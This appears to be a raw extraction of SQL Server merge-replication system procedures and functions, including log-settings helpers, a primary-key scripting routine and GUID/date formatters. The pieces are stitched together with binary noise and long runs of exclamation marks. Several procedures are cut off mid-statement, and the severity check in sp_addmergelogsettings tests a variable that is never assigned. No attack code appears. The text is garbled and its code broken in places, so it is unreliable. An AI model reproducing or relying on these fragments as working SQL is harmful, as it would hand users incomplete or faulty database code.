                if exists (select * from dbo.sysmergearticles where pubid=@pubid and pre_creation_command<>1)
                    begin
                        RAISERROR (21420, 16, -1, @property)
                        goto UNDO                
                    end
                /*
                ** make sure we know we really want to do this.
                */
                if @force_reinit_subscription = 0
                begin
                    raiserror(20608, 16, -1)
                    goto UNDO
                end

                exec @retcode=sys.sp_MSreinitmergepublication 
                                    @publication = @publication,
                                    @upload_first = @automatic_reinitialization_policy
                if @@ERROR<>0 or @retcode<>0 GOTO UNDO 
            end
        END
        
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'description'
    BEGIN
        UPDATE dbo.sysmergesubscriptions
                SET description = @value
                WHERE subid = @subid
            IF @@ERROR <> 0
            BEGIN
                RAISERROR (14053, 16, -1) 
                goto UNDO
            END

    END
        
     
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'priority'
    BEGIN

        select @db_name = db_name from dbo.sysmergesubscriptions
            where (pubid=@pubid) and (subid=@pubid)
        IF @db_name <> db_name()
        BEGIN
            RAISERROR (20047, 16, -1)
            goto UNDO
        END     

    /* Only the original publisher can change priority of a global subscriptions */

        IF @subscriber_type<>1    
            BEGIN
                RAISERROR (20044, 16, -1)  /* Local subscriber does not have priority*/
                goto UNDO
            END

        declare @priority real
        set @priority= cast(@value as real)
        if @@error<>0 goto UNDO

        IF @priority>100.0
        BEGIN
            RAISERROR (20049, 16, -1)  /* Don't accept priority greater than 100 */
            goto UNDO
        END
        
        exec sys.sp_MSchange_priority @subid,  @value
        if @@ERROR<>0 goto UNDO
        /* Insert the sp_MSchange_priority schema change only if the publication's snapshot is ready */
        if (@snapshot_ready > 0)
            begin
                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL)
                set @schemaversion = 1
                else
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                    
                 
                set @schemaguid = newid()
                set @artid = newid()
                set @schematype = @SCHEMA_TYPE_PRIORITYCHANGE
                select @schematext = 'exec dbo.sp_MSchange_priority '+ '''' + convert(nchar(36),@subid) + '''' + ',' + '''' + @value + '''' 
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR<>0 or @retcode<>0 goto UNDO
            end                    
    END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ('subscriber_security_mode', 'subscriber_login', 'subscriber_password',
                                                                'publisher_security_mode', 'publisher_login', 'publisher_password',
                                                                'merge_job_login', 'merge_job_password', 'description')
    BEGIN
        -- this is only valid for a push subscription
        IF @subscription_type <> @push
        BEGIN
            -- "The property '@property' is only valid for push subscriptions."
            RAISERROR (21817, 16, -1, @property)
            goto UNDO
        END

		IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = N'merge_job_login'
			AND sys.fn_replisvalidwindowsloginformat(@value) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changemergesubscription'.
			RAISERROR(21797, 16, -1, '@value (merge_job_login)', 'sp_changemergesubscription')
			goto UNDO
		END
        
        SELECT @distproc = QUOTENAME(RTR!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`

<t
(xC&VG0qJ@ *8create procedure sys.sp_helpmergelogsettings(
    @publication            sysname = '%',        /* Publication name */
    @subscriber                sysname = '%',        /* Subscriber server */
    @subscriber_db            sysname = '%',        /* Subscription database */
    @publisher                sysname = '%',        /* Publisher server */
    @publisher_db            sysname = '%'        /* Publisher database */
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode            int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier

    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
    
    /* Security check */
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication, 
        @raise_fatal_error = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END

    /*
    ** Parameter Check:     @subscriber.
    ** If remote server, limit the view to the remote server's subscriptions.
    ** Make sure that the name isn't NULL.
    */
    if @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_helpmergelogsettings')
            RETURN (1)
        END

    /*
    ** Parameter Check:     @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    if @subscriber <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @subscriber

            if @retcode <> 0 OR @@ERROR <> 0
                RETURN (1)

        END

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergelogsettings')
            RETURN (1)
        END

    create table #helplogsettings
                (
                    pubname                      sysname NULL,
                    publisher                    sysname NULL,
                    publisher_db                 sysname NULL,
                    subscriber_server            sysname NULL,
                    db_name                      sysname NULL,
                    web_server                   sysname             NULL,                
                    support_options              int NOT NULL default(0),	-- check the SUPPORT_OPTIONS enum in agent code.
                    log_severity                 int NOT NULL default(2),
                    log_modules                  int NOT NULL default(0),
                    log_file_path                nvarchar(255) NULL,
                    log_file_name                sysname NULL,
                    log_file_size                int NOT NULL default(10000000),
                    no_of_log_files              int NOT NULL default(5),
                    upload_interval              int NOT NULL default(0),
                    delete_after_upload          int NOT NULL default(0),                    
                    custom_script                nvarchar(2000) NULL,
                    message_pattern              nvarchar(2000) NULL,
                    last_log_upload_time         datetime      NULL,
                    agent_xe                      varbinary(max) NULL,
                    agent_xe_ring_buffer    varbinary(max) NULL,
                    sql_xe                          varbinary(max) NULL
                )


    insert into #helplogsettings select distinct pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
					mss.web_server, mss.support_options, mss.log_severity, mss.log_modules, mss.log_file_path, mss.log_file_name, mss.log_file_size,
					mss.no_of_log_files, mss.upload_interval, mss.delete_after_upload, mss.custom_script, mss.message_pattern, mss.last_log_upload_time,
					agent_xe, agent_xe_ring_buffer, sql_xe

        FROM  dbo.MSmerge_supportability_settings mss,
        	  dbo.sysmergesubscriptions        subs,
              dbo.sysmergepublications    pubs
            where pubs.pubid = subs.pubid
                and subs.pubid <> subs.subid
                and pubs.name =     @publication 
                and mss.subid = subs.subid
                and mss.pubid = subs.pubid
                and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
        
	select * from #helplogsettings
	
    drop table #helplogsettings
    return @retcode 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`rj<)C&R0b; 8--
-- Name: fn_replformatdatetime
--
-- Description: This function encapsulates the definitive method for 
--              formatting a datetime field into a string in SQL Replication.
--
-- Parameter: @datetime datetime (mandatory)
--
-- Returns: nvarchar(50) (leaves room for modification in the future)
--
-- Security: Execute permission of this function is granted to public
--           (public interface object)
--
create function sys.fn_replformatdatetime (
    @datetime datetime
    ) returns nvarchar(50)
as
begin
    declare @datetime_string nvarchar(50)
    select @datetime_string = convert(nvarchar(12), @datetime, 112) +
        substring(convert(nvarchar(24), @datetime, 121), 11, 13)    
    return @datetime_string
end
0 h8
--
-- Name:    
--          sp_IHscriptprimarykey
--          
-- Description: 
--          Script primary key constraint
--  
-- Inputs:
--			@article_id		== article id
--			@useAlterTable	== 0 - Use constraint syntax (create table)
--							   1 - Use ALTER TABLE syntax
--			@useClustered	== 0 - Don't add CLUSTERED to the PRIMARY KEY constraint
--							   1 - Add CLUSTERED to PRIMARY KEY constraint
--
-- Security: 
--          Internal (used by script generation)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHscriptprimarykey
(
	@article_id		int,
	@useAlterTable	bit = 0,
	@useClustered	bit = 0
)
AS
BEGIN
	DECLARE @retcode				int
	DECLARE @cmd					nvarchar(4000)
	DECLARE @dest_owner				nvarchar(255)
	DECLARE @dest_tabname			sysname
	declare @src_tabname			sysname
	DECLARE @table_id				int
	DECLARE @constraint_name		sysname
	DECLARE @unq_constraint_name	sysname
	DECLARE @clustered				nvarchar(20)
	DECLARE @spacer					nvarchar(1)
	DECLARE @colname				sysname
	declare @cmd_sep      			nvarchar(10)

	SET @retcode = 0
	
	-- Get article info
	select	@dest_owner		= iha.dest_owner,
			@dest_tabname	= iha.dest_table,
			@src_tabname	= ihpt.name
	from	IHarticles iha,
			IHpublishertables ihpt
	where	iha.table_id = ihpt.table_id
	  and	iha.article_id = @article_id

	IF @dest_owner is not null
	BEGIN
	    SELECT @dest_owner = QUOTENAME( @dest_owner ) + N'.'
	END
	ELSE
	BEGIN
	    SELECT @dest_owner = N''
	END
	
	-- Get primary key
	SELECT	@constraint_name		= ihpc.name,
			@unq_constraint_name	= ihpc.name,
			@table_id				= ihpc.table_id
	FROM	IHarticles iha WITH (INDEX(idx_IHarticles_articleid) ),
			IHpublisherconstraints ihpc WITH (INDEX(idx_IHpublisherconstraints_tableid))
	WHERE	ihpc.publisher_id		= iha.publisher_id
	  AND	ihpc.table_id			= iha.table_id
	  AND	ihpc.type				= 'PRIMARYKEY'
	  AND	iha.article_id			= @article_id
	OPTION (LOOP JOIN, FORCE ORDER)
	
	IF @constraint_name IS NOT NULL
	BEGIN
		IF @useAlterTable = 1
		BEGIN
			-- Put command separator (if any) into buffer	
			select @cmd_sep = N'GO'
		END

		-- Verify key can be scripted
		EXEC @retcode = sys.sp_IHVerifyConstraint
							@article_id			= @article_id,
							@constraint_name	= @constraint_name

		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
			GOTO FINISHPK
		END

		-- Generate a unique PK name
		SELECT @unq_constraint_name = sys.fn_IHGenerateUniqueName(@article_id, N'PK', NULL)

		-- Determine clustered state
		IF @useClustered = 1
		BEGIN
			SELECT @clustered = N' CLUSTERED '
		END
		ELSE
		BEGIN
			SELECT @clustered = N' '
		END

		select @cmd =	case @useAlterTable
							when 1 then N'ALTER TABLE '
										+ @dest_owner
										+ QUOTENAME(@dest_tabname) collate database_default
										+ N' ADD CONSTRAINT '
							else N' CONSTRAINT '
						end
						+ QUOTENAME(@unq_constraint_name) collate database_default
						+ N' PRIMARY KEY' + @clustered + N'('

		insert into #proctext(procedure_text) values( @cmd )

		select @spacer	= N' ',
				@cmd	= N''

		DECLARE hArtCol CURSOR LOCAL FAST_FORWARD FOR 
		SELECT	ihc.name
		FROM	dbo.IHarticles iha WITH (INDEX( idx_IHarticles_articleid)),
				dbo.IHpublisherconstraints ihpcn WITH ( INDEX( idx_IHpublisherconstraints_tableid)),
				dbo.IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubconstraintid)),
				dbo.IHpublishercolumns ihpc WITH (INDEX(idx_IHpublishercolumns_pubcolumnid)),
				dbo.IHcolumns ihc WITH (INDEX(idx_IHcolumns_pubcolumnid))
		WHERE	ihpcn.publisher_id				= iha.publisher_id
		  AND	ihpcn.table_id					= iha.table_id
		  AND	ihc.publishercolumn_id			= ihpc.publishercolumn_id
		  AND	ihpc.publishercolumn_id			= ihpcc.publishercolumn_id
		  AND	ihpcn.publisherconstraint_id	= ihpcc.publisherconstraint_id
		  AND	iha.article_id					= ihc.article_id
		  AND	iha.article_id					= @article_id
		  AND	ihpcn.type						= 'PRIMARYKEY'
		ORDER BY ihpcc.indid asc
		OPTION  (LOOP JOIN, FORCE ORDER)
		
		OPEN	hArtCol
		FETCH	hArtCol
		INTO 	@colname

		-- Create column list	
		select	@spacer	= N' ',
				@cmd	= N''

		WHILE (@@fetch_status <> -1)
		begin
			select @cmd = @cmd + @spacer + QUOTENAME(@colname)
			select @spacer = N','

			if len(@cmd) > 3000
			begin
				insert into #proctext(procedure_text) values(@cmd)
				select @cmd = N''
			end

			FETCH	hArtCol
			INTO 	@colname
		end

		CLOSE hArtCol
		DEALLOCATE hArtCol

		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) values( N')' )

		IF @useAlterTable = 1
		BEGIN
			-- Write command separator
			insert into #proctext(procedure_text) values (@cmd_sep)
		END
		ELSE
		BEGIN
			-- Close CREATE TABLE
			insert into #proctext(procedure_text) values (N')')
		END
	END

FINISHPK:
	IF @useAlterTable = 0
	BEGIN
		DECLARE @proctext nvarchar(4000)

		-- Replace trailing ',' with ')' if necessary
		SELECT	@proctext = procedure_text
		FROM	#proctext
		WHERE	seq = IDENT_CURRENT('#proctext')

		IF RIGHT(@proctext, 1) = ','
		BEGIN
			UPDATE	#proctext
			SET		procedure_text = LEFT(procedure_text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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x`+d<L*C%Rc0 8create function sys.fn_MSguidtostr (@guid uniqueidentifier)
returns nvarchar(32)
as
begin
declare @guidstr nvarchar(36)
declare @mystr nvarchar(32)

set @guidstr = convert(nchar(36), @guid)
set @mystr = substring(@guidstr, 1, 8) + substring(@guidstr, 10, 4) +
    substring(@guidstr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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:*<8+C)%0]@ 
8create procedure sys.sp_cleanmergelogfiles(
    @publication            sysname = '%',        /* Publication name */
    @subscriber             sysname = '%',        /* Subscriber server */
    @subscriber_db          sysname = '%',        /* Subscription database */
    @publisher              sysname = '%',        /* Publisher server */
    @publisher_db           sysname = '%',        /* Publisher database */
    @web_server				sysname = '%',		  /* logs from IIS server */
    @id                     int = -1              /* id of the log file to get data for */
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode            int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier

    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
    
    /* Security check */
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication, 
        @raise_fatal_error = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END

    /*
    ** Parameter Check:     @subscriber.
    ** If remote server, limit the view to the remote server's subscriptions.
    ** Make sure that the name isn't NULL.
    */
    if @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_cleanmergelogfiles')
            RETURN (1)
        END

    /*
    ** Parameter Check:     @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    if @subscriber <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @subscriber

            if @retcode <> 0 OR @@ERROR <> 0
                RETURN (1)

        END

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_cleanmergelogfiles')
            RETURN (1)
        END

    delete mlf
        FROM  dbo.MSmerge_log_files mlf,
        	  dbo.sysmergesubscriptions        subs,
              dbo.sysmergepublications    pubs
            where ( @id = -1 or @id = mlf.id)
                and pubs.pubid = subs.pubid
                and subs.pubid <> subs.subid
                and pubs.name =     @publication 
                and mlf.subid = subs.subid
                and mlf.pubid = subs.pubid
                and ((@web_server = N'%') or (mlf.web_server = @web_server collate database_default))
                and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
        
    return @retcode 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-
<	,C%!0%@ 8create procedure sys.sp_replincrementlsn (
	@xact_seqno binary(10) OUTPUT,
	@publisher sysname = NULL
)
as
	declare @retcode int,
		@cmd nvarchar(4000)

	-- For SQL Server publisher, @publisher is NULL
	if @publisher IS NULL
	begin
    		exec @retcode = sys.sp_MSrepl_incrementlsn @xact_seqno OUTPUT 
    		if @@ERROR <> 0 or @retcode <> 0
		begin
        		return (1)
		end
		return (0)
	end

	-- For heterogeneous publisher, make equivalent call in distribution database context
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher	= @publisher,
							@rpcheader	= @cmd OUTPUT,
							@skipSecurityCheck	= 1
	
	IF @retcode <> 0
		RETURN (1)

	-- Add sp
	set @cmd = @cmd + N'sys.sp_IHreplincrementlsn'
	
	EXEC @retcode = @cmd	@xact_seqno OUTPUT,
				@publisher		

    	if @@ERROR <> 0 or @retcode <> 0
	begin
        	return (1)
	end
	return (0)
0F%0 D8K}h*	#5+	02 8create procedure sys.sp_helppeerresponses
(
	@request_id int
)
as
begin
	declare @retcode int

	-- Security Check
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end
	
	-- Check to see if database is activated for publication
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
	begin
		RAISERROR (14013, 16, -1)
		return 1
	end

	-- return results
	select * 
		from MSpeer_response
		where request_id = @request_id

	return 0
end
0j4 8create function sys.fn_replgetpublicationthreshold 
(
    @publication_id int,
    @thresholdindex int 	
)
returns sql_variant 
as
begin
    declare @value sql_variant
    select @value=value 
    from dbo.MSpublicationthresholds 
    where publication_id=@publication_id
        and isenabled=1
        and metric_id = @thresholdindex
    return @value
end
0a7 8
create function [sys].[fn_cdc_get_column_list]
(
	@capture_instance sysname
)
returns @column_list table (name sysname)
with execute as 'dbo'
begin
	insert into @column_list
	select s.name 
	from  [cdc].[captured_columns] e inner join [cdc].[change_tables] c
		on e.object_id = c.object_id
	inner join sys.columns s
		on s.object_id = c.source_object_id and
		   s.column_id  = e.column_id
	where c.capture_instance = @capture_instance
	return
end	             
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]@`,<(-Mv0t@ v8create procedure sys.sp_addmergelogsettings (
    @publication        sysname = NULL, 	/* Publication name */
    @subscriber         sysname = NULL,     /* Subscriber server */
    @subscriber_db      sysname = NULL,     /* Subscription database */
    @support_options	int = 1,
    @web_server			sysname = NULL, 
    @log_severity		int = 2, 
    @log_modules		int = 0, 
    @log_file_path		nvarchar(255) = NULL, 
    @log_file_name		sysname = NULL, 
    @log_file_size		int = 10000000, 
    @no_of_log_files	int = 5, 
    @upload_interval	int = 0, 
    @delete_after_upload int = 1,
    @custom_script	nvarchar(2000) = NULL,
    @message_pattern    nvarchar(2000)= NULL,
    @agent_xe    varbinary(max) = NULL,
    @agent_xe_ring_buffer    varbinary(max) = NULL,
    @sql_xe    varbinary(max) = NULL
    ) AS 

    declare @retcode                int
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier

    declare @log_sev_lobyte       int
    declare @log_sev_hibyte       int

    /*
    ** Security Check.
    */
    exec @retcode= sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(15247,-1,-1)
        return (1)
    end


    /*
    **    Check to see if current database is doing publishing/subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_addmergelogsettings')
            RETURN (1)
        END

    select @pubid = pubid
       FROM dbo.sysmergepublications 
       WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            RETURN (1)
        END

    
    /*
    ** Parameter Check:     @subscriber.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@subscriber', 'sp_addmergelogsettings')
        RETURN (1)
    END
    
    /*
    ** Parameter Check:     @subscriber_db.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber_db IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@subscriber_db', 'sp_addmergelogsettings')
        RETURN (1)
    END

    /*
    ** Check to see if you have a subscription on this publication
    */
    set @subid = NULL
    select @subid = subid
          from dbo.sysmergesubscriptions
        where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
            and db_name = @subscriber_db
            and pubid = @pubid  /* identified from publication name */
            
    if @subid IS NULL 
        begin
            RAISERROR (14050, 11, -1)
            RETURN(1)
        end                    

    /*
    ** Parameter Check: all other parameters
    ** 
    */
    if @support_options < 0 or @support_options > 5
    begin
        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@support_options')
        RETURN(1)
    end                    

    set @log_sev_lobyte = @log_severity & 0xF
    set @log_sev_lobyte = @log_severity & 0x0F
    
    if (@log_severity IS NOT NULL) and ((@log_sev_lobyte < 0 or @log_sev_lobyte > 5) or (@log_sev_hibyte < 0 or @log_sev_hibyte > 1))
    begin
        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@log_severity')
        RETURN(1)
    end                    

    if @log_file_size < 2000000 or @log_file_size > 999000000
    begin
        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@log_file_size')
        RETURN(1)
    end                    

    if @no_of_log_files < 2 or @no_of_log_files > 500
    begin
        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@no_of_log_files')
        RETURN(1)
    end                    

    if @upload_interval < 0 or @upload_interval > 40320	-- 60 * 24 * 7 *4 (4 weeks)
    begin
